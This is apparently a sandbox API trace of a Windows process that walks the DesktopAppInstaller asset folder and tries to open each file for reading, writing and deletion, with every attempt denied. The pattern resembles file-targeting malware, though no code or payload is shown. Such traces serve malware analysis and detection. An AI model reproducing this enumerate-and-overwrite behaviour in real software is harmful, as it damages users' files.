	[0090.856] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-60_altform-unplated.png")) returned 0x20
	[0090.856] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.857] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-60_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.857] GetLastError () returned 0x5
	[0090.857] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcda8) returned 1
	[0090.857] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf02b88, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cf02b88, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cf02b88, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-64.png", cAlternateFileName="")) returned 1
	[0090.857] wcscmp (_String1="AppPackageAppList.targetsize-64.png", _String2=".") returned 1
	[0090.857] wcscmp (_String1="AppPackageAppList.targetsize-64.png", _String2="..") returned 1
	[0090.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.857] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.857] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.857] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-64.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64.png"
	[0090.858] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-64.png")) returned 0x20
	[0090.858] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64.png", dwFileAttributes=0x20) returned 0
	[0090.858] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-64.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.858] GetLastError () returned 0x5
	[0090.858] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64.png", dwFileAttributes=0x20) returned 0
	[0090.858] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.859] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf02b88, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cf02b88, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cf02b88, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-64_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.859] wcscmp (_String1="AppPackageAppList.targetsize-64_altform-unplated.png", _String2=".") returned 1
	[0090.859] wcscmp (_String1="AppPackageAppList.targetsize-64_altform-unplated.png", _String2="..") returned 1
	[0090.859] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebca00
	[0090.859] wcscpy (in: _Dest=0x4ebca00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.859] wcscat (in: _Dest=0x4ebca00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.859] wcscat (in: _Dest=0x4ebca00, _Source="AppPackageAppList.targetsize-64_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64_altform-unplated.png"
	[0090.859] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-64_altform-unplated.png")) returned 0x20
	[0090.860] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.860] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-64_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.860] GetLastError () returned 0x5
	[0090.860] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-64_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0090.860] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf02b88, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cf02b88, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cf02b88, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-72.png", cAlternateFileName="")) returned 1
	[0090.860] wcscmp (_String1="AppPackageAppList.targetsize-72.png", _String2=".") returned 1
	[0090.860] wcscmp (_String1="AppPackageAppList.targetsize-72.png", _String2="..") returned 1
	[0090.860] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.860] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.860] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.860] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-72.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72.png"
	[0090.861] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-72.png")) returned 0x20
	[0090.863] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72.png", dwFileAttributes=0x20) returned 0
	[0090.863] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-72.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.863] GetLastError () returned 0x5
	[0090.863] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72.png", dwFileAttributes=0x20) returned 0
	[0090.863] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.863] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf02b88, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cf02b88, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cf02b88, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-72_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.863] wcscmp (_String1="AppPackageAppList.targetsize-72_altform-unplated.png", _String2=".") returned 1
	[0090.863] wcscmp (_String1="AppPackageAppList.targetsize-72_altform-unplated.png", _String2="..") returned 1
	[0090.863] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc790
	[0090.863] wcscpy (in: _Dest=0x4ebc790, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.863] wcscat (in: _Dest=0x4ebc790, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.863] wcscat (in: _Dest=0x4ebc790, _Source="AppPackageAppList.targetsize-72_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72_altform-unplated.png"
	[0090.864] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-72_altform-unplated.png")) returned 0x20
	[0090.864] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.864] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-72_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.864] GetLastError () returned 0x5
	[0090.864] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-72_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.865] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc790) returned 1
	[0090.865] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf02b88, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cf02b88, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cf02b88, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-80.png", cAlternateFileName="")) returned 1
	[0090.865] wcscmp (_String1="AppPackageAppList.targetsize-80.png", _String2=".") returned 1
	[0090.865] wcscmp (_String1="AppPackageAppList.targetsize-80.png", _String2="..") returned 1
	[0090.865] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.865] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.865] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.865] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-80.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80.png"
	[0090.865] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-80.png")) returned 0x20
	[0090.876] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80.png", dwFileAttributes=0x20) returned 0
	[0090.876] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-80.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.876] GetLastError () returned 0x5
	[0090.876] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80.png", dwFileAttributes=0x20) returned 0
	[0090.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.876] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf28ddd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cf28ddd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cf28ddd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-80_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.876] wcscmp (_String1="AppPackageAppList.targetsize-80_altform-unplated.png", _String2=".") returned 1
	[0090.876] wcscmp (_String1="AppPackageAppList.targetsize-80_altform-unplated.png", _String2="..") returned 1
	[0090.876] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc2b0
	[0090.876] wcscpy (in: _Dest=0x4ebc2b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.876] wcscat (in: _Dest=0x4ebc2b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.876] wcscat (in: _Dest=0x4ebc2b0, _Source="AppPackageAppList.targetsize-80_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80_altform-unplated.png"
	[0090.876] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-80_altform-unplated.png")) returned 0x20
	[0090.879] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.879] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-80_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.879] GetLastError () returned 0x5
	[0090.879] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-80_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.879] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc2b0) returned 1
	[0090.879] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf28ddd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cf28ddd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cf28ddd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-96.png", cAlternateFileName="")) returned 1
	[0090.879] wcscmp (_String1="AppPackageAppList.targetsize-96.png", _String2=".") returned 1
	[0090.879] wcscmp (_String1="AppPackageAppList.targetsize-96.png", _String2="..") returned 1
	[0090.879] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.879] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.879] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.879] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-96.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-96.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-96.png"
	[0090.880] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-96.png")) 

Thread:
	id = 909
	os_tid = 0xf98

	[0082.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x47cc980
	[0082.221] wcscpy (in: _Dest=0x47cc980, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.222] wcscat (in: _Dest=0x47cc980, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.222] wcscat (in: _Dest=0x47cc980, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4716368
